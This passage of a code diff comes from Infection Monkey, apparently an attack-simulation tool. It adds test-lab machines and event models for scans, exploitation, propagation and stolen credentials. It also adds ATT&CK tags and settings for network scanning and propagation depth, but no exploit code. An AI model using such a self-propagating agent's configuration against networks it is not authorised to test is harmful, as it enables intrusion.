}
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "google_compute_instance_from_template" "credentials-reuse-16" {
|
||||||
|
name = "${local.resource_prefix}credentials-reuse-16"
|
||||||
|
source_instance_template = local.default_linux
|
||||||
|
boot_disk{
|
||||||
|
initialize_params {
|
||||||
|
image = data.google_compute_image.credentials-reuse-16.self_link
|
||||||
|
}
|
||||||
|
auto_delete = true
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}credential-reuse2"
|
||||||
|
network_ip="10.2.5.16"
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||||
|
network_ip="10.2.3.16"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
resource "google_compute_instance_from_template" "log4j-solr-49" {
|
resource "google_compute_instance_from_template" "log4j-solr-49" {
|
||||||
name = "${local.resource_prefix}log4j-solr-49"
|
name = "${local.resource_prefix}log4j-solr-49"
|
||||||
source_instance_template = local.default_linux
|
source_instance_template = local.default_linux
|
||||||
|
|
|
@ -1,3 +1,6 @@
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
from typing import Collection
|
||||||
|
|
||||||
import pytest
|
import pytest
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||||
|
@ -40,18 +43,17 @@ def island_client(island):
|
||||||
@pytest.mark.usefixtures("island_client")
|
@pytest.mark.usefixtures("island_client")
|
||||||
# noinspection PyUnresolvedReferences
|
# noinspection PyUnresolvedReferences
|
||||||
class TestOSCompatibility(object):
|
class TestOSCompatibility(object):
|
||||||
def test_os_compat(self, island_client):
|
def test_os_compat(self, island_client: MonkeyIslandClient):
|
||||||
print()
|
print()
|
||||||
all_monkeys = island_client.get_all_monkeys_from_db()
|
ips_that_communicated = self._get_agent_ips(island_client)
|
||||||
ips_that_communicated = []
|
|
||||||
for monkey in all_monkeys:
|
|
||||||
for ip in monkey["ip_addresses"]:
|
|
||||||
if ip in machine_list:
|
|
||||||
ips_that_communicated.append(ip)
|
|
||||||
break
|
|
||||||
for ip, os in machine_list.items():
|
for ip, os in machine_list.items():
|
||||||
if ip not in ips_that_communicated:
|
if IPv4Address(ip) not in ips_that_communicated:
|
||||||
print("{} didn't communicate to island".format(os))
|
print("{} didn't communicate to island".format(os))
|
||||||
|
|
||||||
if len(ips_that_communicated) < len(machine_list):
|
if len(ips_that_communicated) < len(machine_list):
|
||||||
assert False
|
assert False
|
||||||
|
|
||||||
|
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
|
||||||
|
agents = island_client.get_agents()
|
||||||
|
machines = island_client.get_machines()
|
||||||
|
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
|
||||||
|
|
|
@ -7,3 +7,4 @@ from .operating_system import OperatingSystem
|
||||||
from . import types
|
from . import types
|
||||||
from . import base_models
|
from . import base_models
|
||||||
from .agent_registration_data import AgentRegistrationData
|
from .agent_registration_data import AgentRegistrationData
|
||||||
|
from .agent_signals import AgentSignals
|
||||||
|
|
|
@ -12,7 +12,7 @@ from .agent_sub_configurations import (
|
||||||
|
|
||||||
|
|
||||||
class AgentConfiguration(MutableInfectionMonkeyBaseModel):
|
class AgentConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
keep_tunnel_open_time: confloat(ge=0)
|
keep_tunnel_open_time: confloat(ge=0) # type: ignore[valid-type]
|
||||||
custom_pbas: CustomPBAConfiguration
|
custom_pbas: CustomPBAConfiguration
|
||||||
post_breach_actions: Tuple[PluginConfiguration, ...]
|
post_breach_actions: Tuple[PluginConfiguration, ...]
|
||||||
credential_collectors: Tuple[PluginConfiguration, ...]
|
credential_collectors: Tuple[PluginConfiguration, ...]
|
||||||
|
|
|
@ -3,6 +3,7 @@ from typing import Dict, Tuple
|
||||||
from pydantic import PositiveFloat, conint, validator
|
from pydantic import PositiveFloat, conint, validator
|
||||||
|
|
||||||
from common.base_models import MutableInfectionMonkeyBaseModel
|
from common.base_models import MutableInfectionMonkeyBaseModel
|
||||||
|
from common.types import NetworkPort
|
||||||
|
|
||||||
from .validators import (
|
from .validators import (
|
||||||
validate_ip,
|
validate_ip,
|
||||||
|
@ -79,7 +80,8 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
Example: ("1.1.1.1", "2.2.2.2")
|
Example: ("1.1.1.1", "2.2.2.2")
|
||||||
:param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent
|
:param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent
|
||||||
Example: ("1.1.1.1", "2.2.2.2/24", "myserver")
|
Example: ("1.1.1.1", "2.2.2.2/24", "myserver")
|
||||||
:param local_network_scan: Whether or not the agent should scan the local network
|
:param scan_my_networks: If true the Agent will scan networks it belongs to
|
||||||
|
in addition to the provided subnet ranges
|
||||||
:param subnets: Subnet ranges to scan
|
:param subnets: Subnet ranges to scan
|
||||||
Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24",
|
Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24",
|
||||||
"myHostname")
|
"myHostname")
|
||||||
|
@ -87,7 +89,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
|
|
||||||
blocked_ips: Tuple[str, ...]
|
blocked_ips: Tuple[str, ...]
|
||||||
inaccessible_subnets: Tuple[str, ...]
|
inaccessible_subnets: Tuple[str, ...]
|
||||||
local_network_scan: bool
|
scan_my_networks: bool
|
||||||
subnets: Tuple[str, ...]
|
subnets: Tuple[str, ...]
|
||||||
|
|
||||||
@validator("blocked_ips", each_item=True)
|
@validator("blocked_ips", each_item=True)
|
||||||
|
@ -127,7 +129,7 @@ class TCPScanConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
timeout: PositiveFloat
|
timeout: PositiveFloat
|
||||||
ports: Tuple[conint(ge=0, le=65535), ...]
|
ports: Tuple[NetworkPort, ...]
|
||||||
|
|
||||||
|
|
||||||
class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel):
|
class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
|
@ -155,7 +157,7 @@ class ExploitationOptionsConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
:param http_ports: HTTP ports to exploit
|
:param http_ports: HTTP ports to exploit
|
||||||
"""
|
"""
|
||||||
|
|
||||||
http_ports: Tuple[conint(ge=0, le=65535), ...]
|
http_ports: Tuple[NetworkPort, ...]
|
||||||
|
|
||||||
|
|
||||||
class ExploitationConfiguration(MutableInfectionMonkeyBaseModel):
|
class ExploitationConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
|
@ -185,6 +187,6 @@ class PropagationConfiguration(MutableInfectionMonkeyBaseModel):
|
||||||
:param exploitation: Configuration for exploitation
|
:param exploitation: Configuration for exploitation
|
||||||
"""
|
"""
|
||||||
|
|
||||||
maximum_depth: conint(ge=0)
|
maximum_depth: conint(ge=0) # type: ignore[valid-type]
|
||||||
network_scan: NetworkScanConfiguration
|
network_scan: NetworkScanConfiguration
|
||||||
exploitation: ExploitationConfiguration
|
exploitation: ExploitationConfiguration
|
||||||
|
|
|
@ -78,7 +78,7 @@ FINGERPRINTERS = (
|
||||||
)
|
)
|
||||||
|
|
||||||
SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration(
|
SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration(
|
||||||
blocked_ips=tuple(), inaccessible_subnets=tuple(), local_network_scan=True, subnets=tuple()
|
blocked_ips=tuple(), inaccessible_subnets=tuple(), scan_my_networks=False, subnets=tuple()
|
||||||
)
|
)
|
||||||
NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration(
|
NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration(
|
||||||
tcp=TCP_SCAN_CONFIGURATION,
|
tcp=TCP_SCAN_CONFIGURATION,
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
from .consts import EVENT_TYPE_FIELD
|
from .consts import EVENT_TYPE_FIELD
|
||||||
from .i_agent_event_serializer import IAgentEventSerializer, JSONSerializable
|
from .i_agent_event_serializer import IAgentEventSerializer
|
||||||
from .agent_event_serializer_registry import AgentEventSerializerRegistry
|
from .agent_event_serializer_registry import AgentEventSerializerRegistry
|
||||||
from .pydantic_agent_event_serializer import PydanticAgentEventSerializer
|
from .pydantic_agent_event_serializer import PydanticAgentEventSerializer
|
||||||
from .register import register_common_agent_event_serializers
|
from .register import register_common_agent_event_serializers
|
||||||
|
|
|
@ -1,17 +1,7 @@
|
||||||
from abc import ABC, abstractmethod
|
from abc import ABC, abstractmethod
|
||||||
from typing import Dict, List, Union
|
|
||||||
|
|
||||||
from common.agent_events import AbstractAgentEvent
|
from common.agent_events import AbstractAgentEvent
|
||||||
|
from common.types import JSONSerializable
|
||||||
JSONSerializable = Union[ # type: ignore[misc]
|
|
||||||
Dict[str, "JSONSerializable"], # type: ignore[misc]
|
|
||||||
List["JSONSerializable"], # type: ignore[misc]
|
|
||||||
int,
|
|
||||||
str,
|
|
||||||
float,
|
|
||||||
bool,
|
|
||||||
None,
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
class IAgentEventSerializer(ABC):
|
class IAgentEventSerializer(ABC):
|
||||||
|
|
|
@ -2,9 +2,10 @@ import logging
|
||||||
from typing import Generic, Type, TypeVar
|
from typing import Generic, Type, TypeVar
|
||||||
|
|
||||||
from common.agent_events import AbstractAgentEvent
|
from common.agent_events import AbstractAgentEvent
|
||||||
|
from common.types import JSONSerializable
|
||||||
from common.utils.code_utils import del_key
|
from common.utils.code_utils import del_key
|
||||||
|
|
||||||
from . import EVENT_TYPE_FIELD, IAgentEventSerializer, JSONSerializable
|
from . import EVENT_TYPE_FIELD, IAgentEventSerializer
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,10 @@
|
||||||
from common.agent_events import CredentialsStolenEvent
|
from common.agent_events import (
|
||||||
|
CredentialsStolenEvent,
|
||||||
|
ExploitationEvent,
|
||||||
|
PingScanEvent,
|
||||||
|
PropagationEvent,
|
||||||
|
TCPScanEvent,
|
||||||
|
)
|
||||||
|
|
||||||
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
|
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
|
||||||
|
|
||||||
|
@ -9,3 +15,7 @@ def register_common_agent_event_serializers(
|
||||||
event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer(
|
event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer(
|
||||||
CredentialsStolenEvent
|
CredentialsStolenEvent
|
||||||
)
|
)
|
||||||
|
event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent)
|
||||||
|
event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent)
|
||||||
|
event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent)
|
||||||
|
event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent)
|
||||||
|
|
|
@ -1,2 +1,6 @@
|
||||||
from .abstract_agent_event import AbstractAgentEvent
|
from .abstract_agent_event import AbstractAgentEvent
|
||||||
from .credentials_stolen_events import CredentialsStolenEvent
|
from .credentials_stolen_events import CredentialsStolenEvent
|
||||||
|
from .ping_scan_event import PingScanEvent
|
||||||
|
from .tcp_scan_event import TCPScanEvent
|
||||||
|
from .exploitation_event import ExploitationEvent
|
||||||
|
from .propagation_event import PropagationEvent
|
||||||
|
|
|
@ -25,6 +25,6 @@ class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
source: AgentID
|
source: AgentID
|
||||||
target: Union[MachineID, IPv4Address, None] = Field(default=None)
|
target: Union[IPv4Address, MachineID, None] = Field(default=None)
|
||||||
timestamp: float = Field(default_factory=time.time)
|
timestamp: float = Field(default_factory=time.time)
|
||||||
tags: FrozenSet[str] = Field(default_factory=frozenset)
|
tags: FrozenSet[str] = Field(default_factory=frozenset)
|
||||||
|
|
|
@ -0,0 +1,22 @@
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
|
||||||
|
from pydantic import Field
|
||||||
|
|
||||||
|
from . import AbstractAgentEvent
|
||||||
|
|
||||||
|
|
||||||
|
class ExploitationEvent(AbstractAgentEvent):
|
||||||
|
"""
|
||||||
|
An event that occurs when the Agent exploits a host
|
||||||
|
|
||||||
|
Attributes:
|
||||||
|
:param target: IP address of the exploited system
|
||||||
|
:param success: Status of the exploitation
|
||||||
|
:param exploiter_name: Name of the exploiter that triggered the event
|
||||||
|
:param error_message: Message if an error occurs during exploitation
|
||||||
|
"""
|
||||||
|
|
||||||
|
target: IPv4Address
|
||||||
|
success: bool
|
||||||
|
exploiter_name: str
|
||||||
|
error_message: str = Field(default="")
|
|
@ -0,0 +1,21 @@
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from common import OperatingSystem
|
||||||
|
|
||||||
|
from . import AbstractAgentEvent
|
||||||
|
|
||||||
|
|
||||||
|
class PingScanEvent(AbstractAgentEvent):
|
||||||
|
"""
|
||||||
|
An event that occurs when the agent performs a ping scan on its network
|
||||||
|
|
||||||
|
Attributes:
|
||||||
|
:param target: IP address of the pinged system
|
||||||
|
:param response_received: Indicates if target responded to the ping
|
||||||
|
:param os: Operating system type determined by ICMP fingerprinting
|
||||||
|
"""
|
||||||
|
|
||||||
|
target: IPv4Address
|
||||||
|
response_received: bool
|
||||||
|
os: Optional[OperatingSystem]
|
|
@ -0,0 +1,22 @@
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
|
||||||
|
from pydantic import Field
|
||||||
|
|
||||||
|
from . import AbstractAgentEvent
|
||||||
|
|
||||||
|
|
||||||
|
class PropagationEvent(AbstractAgentEvent):
|
||||||
|
"""
|
||||||
|
An event that occurs when the Agent propagates on a host
|
||||||
|
|
||||||
|
Attributes:
|
||||||
|
:param target: IP address of the propagated system
|
||||||
|
:param success: Status of the propagation
|
||||||
|
:param exploiter_name: Name of the exploiter that propagated
|
||||||
|
:param error_message: Message if an error occurs during propagation
|
||||||
|
"""
|
||||||
|
|
||||||
|
target: IPv4Address
|
||||||
|
success: bool
|
||||||
|
exploiter_name: str
|
||||||
|
error_message: str = Field(default="")
|
|
@ -0,0 +1,19 @@
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
|
from common.types import NetworkPort, PortStatus
|
||||||
|
|
||||||
|
from . import AbstractAgentEvent
|
||||||
|
|
||||||
|
|
||||||
|
class TCPScanEvent(AbstractAgentEvent):
|
||||||
|
"""
|
||||||
|
An event that occurs when the Agent performs a TCP scan on a host
|
||||||
|
|
||||||
|
Attributes:
|
||||||
|
:param target: IP address of the scanned system
|
||||||
|
:param ports: The scanned ports and their status (open/closed)
|
||||||
|
"""
|
||||||
|
|
||||||
|
target: IPv4Address
|
||||||
|
ports: Dict[NetworkPort, PortStatus]
|
|
@ -7,7 +7,7 @@ from pydantic import validator
|
||||||
|
|
||||||
from .base_models import InfectionMonkeyBaseModel
|
from .base_models import InfectionMonkeyBaseModel
|
||||||
from .transforms import make_immutable_sequence
|
from .transforms import make_immutable_sequence
|
||||||
from .types import HardwareID
|
from .types import HardwareID, SocketAddress
|
||||||
|
|
||||||
|
|
||||||
class AgentRegistrationData(InfectionMonkeyBaseModel):
|
class AgentRegistrationData(InfectionMonkeyBaseModel):
|
||||||
|
@ -15,7 +15,7 @@ class AgentRegistrationData(InfectionMonkeyBaseModel):
|
||||||
machine_hardware_id: HardwareID
|
machine_hardware_id: HardwareID
|
||||||
start_time: datetime
|
start_time: datetime
|
||||||
parent_id: Optional[UUID]
|
parent_id: Optional[UUID]
|
||||||
cc_server: str
|
cc_server: SocketAddress
|
||||||
network_interfaces: Sequence[IPv4Interface]
|
network_interfaces: Sequence[IPv4Interface]
|
||||||
|
|
||||||
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(
|
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
from datetime import datetime
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from .base_models import InfectionMonkeyBaseModel
|
||||||
|
|
||||||
|
|
||||||
|
class AgentSignals(InfectionMonkeyBaseModel):
|
||||||
|
terminate: Optional[datetime]
|
|
@ -10,6 +10,11 @@ class InfectionMonkeyModelConfig:
|
||||||
extra = Extra.forbid
|
extra = Extra.forbid
|
||||||
|
|
||||||
|
|
||||||
|
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
|
||||||
|
allow_mutation = True
|
||||||
|
validate_assignment = True
|
||||||
|
|
||||||
|
|
||||||
class InfectionMonkeyBaseModel(BaseModel):
|
class InfectionMonkeyBaseModel(BaseModel):
|
||||||
class Config(InfectionMonkeyModelConfig):
|
class Config(InfectionMonkeyModelConfig):
|
||||||
pass
|
pass
|
||||||
|
@ -47,6 +52,5 @@ class InfectionMonkeyBaseModel(BaseModel):
|
||||||
|
|
||||||
|
|
||||||
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
|
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
|
||||||
class Config(InfectionMonkeyModelConfig):
|
class Config(MutableInfectionMonkeyModelConfig):
|
||||||
allow_mutation = True
|
pass
|
||||||
validate_assignment = True
|
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import inspect
|
import inspect
|
||||||
from contextlib import suppress
|
from contextlib import suppress
|
||||||
from typing import Any, Sequence, Type, TypeVar
|
from typing import Any, Sequence, Type, TypeVar, no_type_check
|
||||||
|
|
||||||
from common.utils.code_utils import del_key
|
from common.utils.code_utils import del_key
|
||||||
|
|
||||||
|
@ -15,6 +15,9 @@ class UnregisteredConventionError(ValueError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
# Mypy doesn't handle cases where abstract class is passed as Type[...]
|
||||||
|
# https://github.com/python/mypy/issues/4717
|
||||||
|
# We are using typing.no_type_check to mitigate these errors
|
||||||
class DIContainer:
|
class DIContainer:
|
||||||
"""
|
"""
|
||||||
A dependency injection (DI) container that uses type annotations to resolve and inject
|
A dependency injection (DI) container that uses type annotations to resolve and inject
|
||||||
|
@ -26,6 +29,7 @@ class DIContainer:
|
||||||
self._instance_registry = {}
|
self._instance_registry = {}
|
||||||
self._convention_registry = {}
|
self._convention_registry = {}
|
||||||
|
|
||||||
|
@no_type_check
|
||||||
def register(self, interface: Type[T], concrete_type: Type[T]):
|
def register(self, interface: Type[T], concrete_type: Type[T]):
|
||||||
"""
|
"""
|
||||||
Register a concrete `type` that satisfies a given interface.
|
Register a concrete `type` that satisfies a given interface.
|
||||||
|
@ -55,6 +59,7 @@ class DIContainer:
|
||||||
self._type_registry[interface] = concrete_type
|
self._type_registry[interface] = concrete_type
|
||||||
del_key(self._instance_registry, interface)
|
del_key(self._instance_registry, interface)
|
||||||
|
|
||||||
|
@no_type_check
|
||||||
def register_instance(self, interface: Type[T], instance: T):
|
def register_instance(self, interface: Type[T], instance: T):
|
||||||
"""
|
"""
|
||||||
Register a concrete instance that satisfies a given interface.
|
Register a concrete instance that satisfies a given interface.
|
||||||
|
@ -73,6 +78,7 @@ class DIContainer:
|
||||||
self._instance_registry[interface] = instance
|
self._instance_registry[interface] = instance
|
||||||
del_key(self._type_registry, interface)
|
del_key(self._type_registry, interface)
|
||||||
|
|
||||||
|
@no_type_check
|
||||||
def register_convention(self, type_: Type[T], name: str, instance: T):
|
def register_convention(self, type_: Type[T], name: str, instance: T):
|
||||||
"""
|
"""
|
||||||
Register an instance as a convention
|
Register an instance as a convention
|
||||||
|
@ -101,6 +107,7 @@ class DIContainer:
|
||||||
"""
|
"""
|
||||||
self._convention_registry[(type_, name)] = instance
|
self._convention_registry[(type_, name)] = instance
|
||||||
|
|
||||||
|
@no_type_check
|
||||||
def resolve(self, type_: Type[T]) -> T:
|
def resolve(self, type_: Type[T]) -> T:
|
||||||
"""
|
"""
|
||||||
Resolves all dependencies and returns a new instance of `type_` using constructor dependency
|
Resolves all dependencies and returns a new instance of `type_` using constructor dependency
|
||||||
|
|
|
@ -2,3 +2,4 @@ from .types import AgentEventSubscriber
|
||||||
from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper
|
from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper
|
||||||
from .i_agent_event_queue import IAgentEventQueue
|
from .i_agent_event_queue import IAgentEventQueue
|
||||||
from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue
|
from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue
|
||||||
|
from .locking_agent_event_queue_decorator import LockingAgentEventQueueDecorator
|
||||||
|
|
|
@ -0,0 +1,31 @@
|
||||||
|
from threading import Lock
|
||||||
|
from typing import Type
|
||||||
|
|
||||||
|
from common.agent_events import AbstractAgentEvent
|
||||||
|
|
||||||
|
from . import AgentEventSubscriber, IAgentEventQueue
|
||||||
|
|
||||||
|
|
||||||
|
class LockingAgentEventQueueDecorator(IAgentEventQueue):
|
||||||
|
"""
|
||||||
|
Makes an IAgentEventQueue thread-safe by locking publish()
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, agent_event_queue: IAgentEventQueue, lock: Lock):
|
||||||
|
self._lock = lock
|
||||||
|
self._agent_event_queue = agent_event_queue
|
||||||
|
|
||||||
|
def subscribe_all_events(self, subscriber: AgentEventSubscriber):
|
||||||
|
self._agent_event_queue.subscribe_all_events(subscriber)
|
||||||
|
|
||||||
|
def subscribe_type(
|
||||||
|
self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber
|
||||||
|
):
|
||||||
|
self._agent_event_queue.subscribe_type(event_type, subscriber)
|
||||||
|
|
||||||
|
def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber):
|
||||||
|
self._agent_event_queue.subscribe_tag(tag, subscriber)
|
||||||
|
|
||||||
|
def publish(self, event: AbstractAgentEvent):
|
||||||
|
with self._lock:
|
||||||
|
self._agent_event_queue.publish(event)
|
|
@ -4,7 +4,7 @@ import random
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
from abc import ABCMeta, abstractmethod
|
from abc import ABCMeta, abstractmethod
|
||||||
from typing import List, Tuple
|
from typing import Iterable, List, Tuple
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -58,7 +58,7 @@ class NetworkRange(object, metaclass=ABCMeta):
|
||||||
return SingleIpRange(ip_address=address_str)
|
return SingleIpRange(ip_address=address_str)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]:
|
def filter_invalid_ranges(ranges: Iterable[str], error_msg: str) -> List[str]:
|
||||||
valid_ranges = []
|
valid_ranges = []
|
||||||
for target_range in ranges:
|
for target_range in ranges:
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -1,12 +1,16 @@
|
||||||
import ipaddress
|
import ipaddress
|
||||||
from ipaddress import IPv4Interface
|
from ipaddress import IPv4Address, IPv4Interface
|
||||||
from typing import List, Optional, Sequence, Tuple
|
from typing import List, Optional, Sequence, Tuple
|
||||||
|
|
||||||
from netifaces import AF_INET, ifaddresses, interfaces
|
from netifaces import AF_INET, ifaddresses, interfaces
|
||||||
|
|
||||||
|
|
||||||
def get_my_ip_addresses() -> Sequence[str]:
|
def get_my_ip_addresses_legacy() -> Sequence[str]:
|
||||||
return [str(interface.ip) for interface in get_network_interfaces()]
|
return [str(ip) for ip in get_my_ip_addresses()]
|
||||||
|
|
||||||
|
|
||||||
|
def get_my_ip_addresses() -> Sequence[IPv4Address]:
|
||||||
|
return [interface.ip for interface in get_network_interfaces()]
|
||||||
|
|
||||||
|
|
||||||
def get_network_interfaces() -> List[IPv4Interface]:
|
def get_network_interfaces() -> List[IPv4Interface]:
|
||||||
|
|
|
@ -0,0 +1,14 @@
|
||||||
|
from .attack import (
|
||||||
|
T1003_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1005_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1021_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1098_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1145_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1203_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1222_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1570_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
|
@ -0,0 +1,12 @@
|
||||||
|
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||||
|
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||||
|
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
|
||||||
|
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
|
||||||
|
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
||||||
|
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
|
||||||
|
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
|
||||||
|
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"
|
|
@ -1,8 +1,94 @@
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from enum import Enum
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
from typing import Dict, List, Optional, Union
|
||||||
from uuid import UUID
|
from uuid import UUID
|
||||||
|
|
||||||
from pydantic import PositiveInt
|
from pydantic import ConstrainedInt, PositiveInt
|
||||||
from typing_extensions import TypeAlias
|
from typing_extensions import TypeAlias
|
||||||
|
|
||||||
|
from common import OperatingSystem
|
||||||
|
from common.base_models import InfectionMonkeyBaseModel
|
||||||
|
from common.network.network_utils import address_to_ip_port
|
||||||
|
|
||||||
AgentID: TypeAlias = UUID
|
AgentID: TypeAlias = UUID
|
||||||
HardwareID: TypeAlias = PositiveInt
|
HardwareID: TypeAlias = PositiveInt
|
||||||
MachineID: TypeAlias = PositiveInt
|
MachineID: TypeAlias = PositiveInt
|
||||||
|
|
||||||
|
JSONSerializable = Union[ # type: ignore[misc]
|
||||||
|
Dict[str, "JSONSerializable"], # type: ignore[misc]
|
||||||
|
List["JSONSerializable"], # type: ignore[misc]
|
||||||
|
int,
|
||||||
|
str,
|
||||||
|
float,
|
||||||
|
bool,
|
||||||
|
None,
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
class NetworkService(Enum):
|
||||||
|
"""
|
||||||
|
An Enum representing network services
|
||||||
|
|
||||||
|
This Enum represents all network services that Infection Monkey supports. The value of each
|
||||||
|
member is the member's name in all lower-case characters.
|
||||||
|
"""
|
||||||
|
|
||||||
|
UNKNOWN = "unknown"
|
||||||
|
|
||||||
|
|
||||||
|
class NetworkPort(ConstrainedInt):
|
||||||
|
"""
|
||||||
|
Define network port as constrainer integer.
|
||||||
|
|
||||||
|
To define a default value with this type:
|
||||||
|
port: NetworkPort = typing.cast(NetworkPort, 1000)
|
||||||
|
"""
|
||||||
|
|
||||||
|
ge = 0
|
||||||
|
le = 65535
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class PingScanData:
|
||||||
|
response_received: bool
|
||||||
|
os: Optional[OperatingSystem]
|
||||||
|
|
||||||
|
|
||||||
|
class PortStatus(Enum):
|
||||||
|
"""
|
||||||
|
An Enum representing the status of the port.
|
||||||
|
|
||||||
|
This Enum represents the status of a network pork. The value of each
|
||||||
|
member is the member's name in all lower-case characters.
|
||||||
|
"""
|
||||||
|
|
||||||
|
OPEN = "open"
|
||||||
|
CLOSED = "closed"
|
||||||
|
|
||||||
|
|
||||||
|
class SocketAddress(InfectionMonkeyBaseModel):
|
||||||
|
ip: IPv4Address
|
||||||
|
port: NetworkPort
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_string(cls, address_str: str) -> SocketAddress:
|
||||||
|
"""
|
||||||
|
Parse a SocketAddress object from a string
|
||||||
|
|
||||||
|
:param address_str: A string of ip:port
|
||||||
|
:raises ValueError: If the string is not a valid ip:port
|
||||||
|
:return: SocketAddress with the IP and port
|
||||||
|
"""
|
||||||
|
ip, port = address_to_ip_port(address_str)
|
||||||
|
if port is None:
|
||||||
|
raise ValueError("SocketAddress requires a port")
|
||||||
|
return SocketAddress(ip=IPv4Address(ip), port=int(port))
|
||||||
|
|
||||||
|
def __hash__(self):
|
||||||
|
return hash(str(self))
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return f"{self.ip}:{self.port}"
|
||||||
|
|
|
@ -35,6 +35,7 @@ bcrypt = "==3.2.2"
|
